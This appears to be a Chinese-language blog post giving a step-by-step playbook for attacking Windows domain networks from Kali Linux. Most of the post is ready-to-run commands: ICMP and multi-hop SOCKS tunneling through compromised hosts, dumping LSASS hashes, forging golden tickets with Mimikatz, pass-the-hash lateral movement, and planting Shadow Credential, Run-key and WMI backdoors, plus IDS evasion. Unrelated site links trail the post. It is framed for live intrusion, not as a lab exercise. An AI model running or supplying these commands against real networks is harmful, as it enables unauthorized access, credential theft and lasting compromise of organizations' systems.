Kali Linux 内网渗透:深度工程实施手册

第一阶段:隧道与代理(内网渗透的 "高速公路")

在内网中,你经常遇到的情况是:你只能控制一台 Web 服务器,但它身后有 10.10.10.x/24 的核心网段。你的 Kali 无法直接访问内网 IP,必须通过 Web 服务器(跳板)进行转发。

1. 隐蔽隧道:ICMP (Ping Tunnel)

场景: 防火墙封禁了 TCP/UDP 出站,但允许 Ping (ICMP)。工具: icmptunnel (Kali 默认未安装,需自行下载编译或使用现成脚本)。

  • Kali (服务端):

    bash

    运行

    复制代码
    # 开启 IP 转发
    echo 1 > /proc/sys/net/ipv4/ip_forward
    # 允许非 root 用户 Ping
    sysctl -w net.ipv4.ping_group_range="0 2147483647"
    # 启动服务端
    ./icmptunnel -s
    # 设置虚拟网卡 IP
    ifconfig tun0 10.10.10.1 netmask 255.255.255.0
  • 跳板机 (Windows): 上传 icmptunnel.exe

    cmd

    复制代码
    icmptunnel.exe -c <Kali公网IP>
    # 在跳板机上设置路由,将内网流量指向隧道
    route add 10.10.10.0 mask 255.255.255.0 10.10.10.2

2. 多重跳板:EarthWorm (EW) 与 Socks 代理

场景: 目标内网有多层(A -> B -> C),你需要穿透多层才能到达核心。工具: ew_for_linux64 / ew_for_Win.exe

  • Kali (监听端):

    bash

    运行

    复制代码
    ./ew -s rcsocks -l 1080 -e 8888
  • 第一层跳板 (A 机):

    cmd

    复制代码
    ew -s rssocks -d <KaliIP> -e 8888
  • 第二层跳板 (B 机):

    cmd

    复制代码
    ew -s lcx_slave -d <A机IP> -e 8888 -f <B机IP> -g 9999
  • 核心机 (C 机):

    cmd

    复制代码
    ew -s lcx_listen -l 9999 -e 1080
  • 最终连接: 配置 /etc/proxychains4.conf 指向 127.0.0.1:1080,即可直接访问 C 机内网。


第二阶段:域内信息收集(绘制 "藏宝图")

拿到域内一台机器权限后,不要急着扫描,先进行被动侦察

1. 极速资产探测:CrackMapExec (CME)

这是内网渗透的 "瑞士军刀",必须熟练掌握。

  • 探测存活主机与 SMB 签名状态:

    bash

    运行

    复制代码
    proxychains crackmapexec smb 192.168.1.0/24
  • 导出所有域用户列表 (需低权限账号):

    bash

    运行

    复制代码
    proxychains crackmapexec ldap <DC_IP> -u 'user' -p 'pass' --users
  • 寻找未打补丁的机器 (如 MS17-010):

    bash

    运行

    复制代码
    proxychains crackmapexec smb 192.168.1.0/24 -u '' -p '' --scripts smb-vuln-ms17-010

2. 黄金票据与白银票据:Mimikatz

在内网横向移动中,抓取 Hash 是基础,但票据传递更隐蔽。

  • 抓取 LSASS 内存 (获取 Hash): 在 Meterpreter 中:

    meterpreter

    复制代码
    load kiwi
    creds_all
    # 或者直接迁移进程后
    migrate -N lsass.exe
    hashdump
  • 制作黄金票据 (Golden Ticket): 前提:已获取 krbtgt 账号的 Hash 和 Domain SID

    cmd

    复制代码
    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-xxxx /rc4:<krbtgt_hash> /user:Administrator /ptt" exit

    (此时你已拥有域管理员权限,可直接访问任意机器)


第三阶段:横向移动(渗透的 "闪电战")

1. 哈希传递 (PTH) - 不需要密码明文

  • 利用 Impacket 的 psexec.py

    bash

    运行

    复制代码
    proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes <LM_hash>:<NTLM_hash> Administrator@192.168.1.105
  • 利用 CrackMapExec 执行命令:

    bash

    运行

    复制代码
    proxychains crackmapexec smb 192.168.1.105 -u Administrator -H <NTLM_hash> -x "whoami"

2. WMI 横向移动 (无文件落地)

场景: 目标关闭了 445 端口 (SMB),但开启了 135 (WMI)。工具: wmiexec.py

bash

运行

复制代码
proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :<NTLM_hash> Administrator@192.168.1.106 "ipconfig"

3. WinRM (PowerShell 远程)

场景: 目标开启了 WinRM (5985/5986),这是横向移动的 "快车道"。工具: evil-winrm

bash

运行

复制代码
proxychains evil-winrm -i 192.168.1.107 -u Administrator -H <NTLM_hash>

第四阶段:权限维持(种 "不死鸟" 后门)

拿下域控后,如何确保下次还能进来?

1. 隐蔽账号 (Shadow Credentials)

原理: 利用 AD CS (证书服务) 为域管账号添加一个备用的 Key Credential,无需修改密码。工具: Whisker.exe

  • 添加影子凭据:

    cmd

    复制代码
    Whisker.exe add /target:Administrator
  • 利用影子凭据登录 (Rubeus):

    cmd

    复制代码
    Rubeus.exe asktgt /user:Administrator /certificate:<Base64_Cert> /password:<Cert_Password> /getcredentials

2. 注册表后门 (Registry Persistence)

场景: 目标是工作组机器,无杀毒软件。操作:

cmd

复制代码
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v UpdateService /t REG_SZ /d "C:\backdoor.exe" /f

3. WMI 事件订阅后门

场景: 非常隐蔽,几乎不落地文件。工具: WMIBackdoor.ps1

powershell

复制代码
Import-Module .\WMIBackdoor.ps1
Set-WmiBackdoor -User "backdoor" -Password "P@ssw0rd"

第五阶段:Kali 内网排错与流量控制

在内网渗透中,**"网络不通"** 是最大的敌人。

1. 流量转发排查

如果发现代理不通,使用 tcpdump 在 Kali 上抓包:

bash

运行

复制代码
tcpdump -i tun0 port 1080 -n

检查是否有数据包进来。如果有进无出,检查 ip_forward

bash

运行

复制代码
sysctl net.ipv4.ip_forward

2. 规避 IPS/IDS

  • 修改扫描速度: Nmap 扫描过快会被拉黑。

    bash

    运行

    复制代码
    proxychains nmap -sT -Pn -p- --scan-delay 1s 192.168.1.100
  • 使用静态二进制文件: 在跳板机上,尽量使用静态编译的工具(如 static-nmap, static-nc),避免依赖库缺失问题。


附录:必备工具包清单 (建议下载并打包)

在实战中,你需要将这些工具上传到跳板机:

  1. 信息收集: SharpHound.exe (BloodHound), PowerView.ps1
  2. 凭证提取: mimikatz.exe, Procdump.exe, LaZagne.exe
  3. 隧道工具: frp, nps, reGeorg, EarthWorm
  4. 横向移动: CrackMapExec (Linux/Win 版), PsExec.exe, PAExec.exe (PsExec 的无 DLL 版本)
相关推荐
sg_knight3 小时前
工厂方法模式(Factory Method)
java·服务器·python·设计模式·工厂方法模式·工厂模式
半桶水专家3 小时前
什么是 Unix Socket?
服务器·unix
LXY_BUAA3 小时前
《source insight》添加对.s文件的支持
linux
fai厅的秃头姐!3 小时前
01-python基础-day02Linux基础
linux
好评1243 小时前
git常见操作及问题
linux·git
运维螺丝钉3 小时前
docker安装应用
运维·docker·容器
以太浮标3 小时前
华为eNSP模拟器综合实验之- 路由表RIB和转发表FIB的关联解析
运维·网络·华为·信息与通信
不会代码的小猴3 小时前
Linux环境编程第一天笔记
linux·笔记
optimistic_chen3 小时前
【Docker入门】cgroups 资源控制
linux·运维·ubuntu·docker·容器·cgroup